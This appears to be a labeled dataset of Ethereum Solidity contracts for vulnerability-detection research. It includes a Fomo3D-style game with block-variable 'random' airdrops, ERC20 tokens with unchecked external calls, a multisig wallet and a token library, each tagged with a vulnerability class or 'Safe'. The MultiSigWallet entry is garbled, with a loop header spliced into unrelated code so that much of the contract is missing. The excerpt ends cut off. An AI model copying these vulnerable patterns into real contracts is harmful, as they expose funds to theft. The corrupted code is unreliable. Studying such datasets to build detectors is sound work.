300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) Divies.deposit.value(_p3d)(); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; address(otherF3DInc).call.value(_long)(bytes4(keccak256(""deposit()""))); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { Divies.deposit.value(_p3d)(); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == 0x24e0162606d558ac113722adc6597b434089adb7,""only team just can activate""); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherFoMo3D { function potSwap() external payable; } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface DiviesInterface { function deposit() external payable; } interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 33535.sol,"pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Omanilla is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function Omanilla( ) { balances[msg.sender] = 75000000000000000000000000; totalSupply = 75000000000000000000000000; name = ""Omanilla""; decimals = 18; symbol = ""OMA""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 35509.sol,"pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /** * Constants **/ uint constant public MAX_OWNER_COUNT = 50; /** * Storage **/ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /** * Events **/ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /** * Modifiers **/ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /** * Public functions **/ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) validRequirement(_owners.length, _required) public { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) public { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) onlyWallet ownerExists(owner) public { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) { changeRequirement(owners.length); } OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) public { for (uint i=0; i 0) { Deposit(msg.sender, msg.value); } } }",./Dataset/unchecked external call (UC),7,7 0x03fda8d2b2cb20a72e1fa6ee87f7356153b7123c_JBToken.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract JBToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function JBToken( ) { balances[msg.sender] = 100000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000000000000000000; // Update total supply (100000 for example) name = ""JBCoin""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""JBCoin""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 0x04d01b6145bc9db925ec1e80bc85f936a961210e_BTTSToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // BokkyPooBah's Token Teleportation Service v1.10 // // https://github.com/bokkypoobah/BokkyPooBahsTokenTeleportationServiceSmartContract // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contracts that can have tokens approved, and then a function executed // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // BokkyPooBah's Token Teleportation Service Interface v1.10 // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- contract BTTSTokenInterface is ERC20Interface { uint public constant bttsVersion = 110; bytes public constant signingPrefix = ""\x19Ethereum Signed Message:\n32""; bytes4 public constant signedTransferSig = ""\x75\x32\xea\xac""; bytes4 public constant signedApproveSig = ""\xe9\xaf\xa7\xa1""; bytes4 public constant signedTransferFromSig = ""\x34\x4b\xcc\x7d""; bytes4 public constant signedApproveAndCallSig = ""\xf1\x6f\x9b\x53""; event OwnershipTransferred(address indexed from, address indexed to); event MinterUpdated(address from, address to); event Mint(address indexed tokenOwner, uint tokens, bool lockAccount); event MintingDisabled(); event TransfersEnabled(); event AccountUnlocked(address indexed tokenOwner); function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success); // ------------------------------------------------------------------------ // signed{X} functions // ------------------------------------------------------------------------ function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success); function unlockAccount(address tokenOwner) public; function disableMinting() public; function enableTransfers() public; // ------------------------------------------------------------------------ // signed{X}Check return status // ------------------------------------------------------------------------ enum CheckResult { Success, // 0 Success NotTransferable, // 1 Tokens not transferable yet AccountLocked, // 2 Account locked SignerMismatch, // 3 Mismatch in signing account InvalidNonce, // 4 Invalid nonce InsufficientApprovedTokens, // 5 Insufficient approved tokens InsufficientApprovedTokensForFees, // 6 Insufficient approved tokens for fees InsufficientTokens, // 7 Insufficient tokens InsufficientTokensForFees, // 8 Insufficient tokens for fees OverflowError // 9 Overflow error } } // ---------------------------------------------------------------------------- // BokkyPooBah's Token Teleportation Service Library v1.00 // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- library BTTSLib { struct Data { bool initialised; // Ownership address owner; address newOwner; // Minting and management address minter; bool mintable; bool transferable; mapping(address => bool) accountLocked; // Token string symbol; string name; uint8 decimals; uint totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => uint) nextNonce; } // ------------------------------------------------------------------------ // Constants // ------------------------------------------------------------------------ uint public constant bttsVersion = 110; bytes public constant signingPrefix = ""\x19Ethereum Signed Message:\n32""; bytes4 public constant signedTransferSig = ""\x75\x32\xea\xac""; bytes4 public constant signedApproveSig = ""\xe9\xaf\xa7\xa1""; bytes4 public constant signedTransferFromSig = ""\x34\x4b\xcc\x7d""; bytes4 public constant signedApproveAndCallSig = ""\xf1\x6f\x9b\x53""; // ------------------------------------------------------------------------ // Event // ------------------------------------------------------------------------ event OwnershipTransferred(address indexed from, address indexed to); event MinterUpdated(address from, address to); event Mint(address indexed tokenOwner, uint tokens, bool lockAccount); event MintingDisabled(); event TransfersEnabled(); event AccountUnlocked(address indexed tokenOwner); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); // ------------------------------------------------------------------------ // Initialisation // ------------------------------------------------------------------------ function init(Data storage self, address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public { require(!self.initialised); self.initialised = true; self.owner = owner; self.symbol = symbol; self.name = name; self.decimals = decimals; if (initialSupply > 0) { self.balances[owner] = initialSupply; self.totalSupply = initialSupply; Mint(self.owner, initialSupply, false); Transfer(address(0), self.owner, initialSupply); } self.mintable = mintable; self.transferable = transferable; } // ------------------------------------------------------------------------ // Safe maths, inspired by OpenZeppelin // ------------------------------------------------------------------------ function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } // ------------------------------------------------------------------------ // Ownership // ------------------------------------------------------------------------ function transferOwnership(Data storage self, address newOwner) public { require(msg.sender == self.owner); self.newOwner = newOwner; } function acceptOwnership(Data storage self) public { require(msg.sender == self.newOwner); OwnershipTransferred(self.owner, self.newOwner); self.owner = self.newOwner; self.newOwner = address(0); } function transferOwnershipImmediately(Data storage self, address newOwner) public { require(msg.sender == self.owner); OwnershipTransferred(self.owner, 